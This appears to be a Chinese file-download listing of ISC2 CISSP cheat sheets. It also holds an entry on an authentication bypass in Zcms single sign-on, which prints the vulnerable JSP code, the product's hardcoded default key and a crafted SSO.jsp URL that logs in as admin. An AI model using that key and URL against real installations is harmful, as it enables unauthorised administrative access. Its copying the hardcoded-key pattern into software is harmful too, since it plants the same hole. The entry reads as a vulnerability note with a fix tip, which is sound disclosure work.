ISC2 CISSP认证 Domain 1 (Security & Risk Management) cheat sheet.
2022-07-29 17:00:13
96KB
1
ISC2 CISSP认证 Domain 2 资产安全(( Asset Security ) cheat sheet.
2022-07-29 17:00:12
80KB
1
ISC2 2022 CISSP认证 Domain 3 ( Security Architecture and Engineering ) cheat sheet
安全工程与管理
Security Models and Concepts
Cryptographic Attacks
2022-07-29 17:00:10
111KB
1
2022 CISSP认证 Domain 8 软件开发安全cheat sheet
Domain 8: Software Development Security
2022-07-29 17:00:06
51KB
1
认证绕过：Zcms单点登录认证缺陷
<%@page import="com.zving.platform.Login"%>
<%@page import="com.zving.framework.utility.StringUtil"%>
<%
String username = request.getParameter("u");
String time = request.getParameter("t");
String str = request.getParameter("s");
String key = "WIU%&*DJAJKL%^*W(DLJIST";
String s = StringUtil.md5Hex(username + time + key);
if (s.equals(str)) {
Login.ssoLogin(request, response, username);
}
%>
// key安装后缺省都是“WIU%&*DJAJKL%^*W(DLJIST”，可以计算出s登录后台
//SSO.jsp?u=admin&t=2010/1/11&s=f7edb87197b4437df8651ae320623006
提示：所有发布版不能用统一的缺省值来完成某些必须要执行的信息。
2022-07-26 16:55:24
25.5MB
1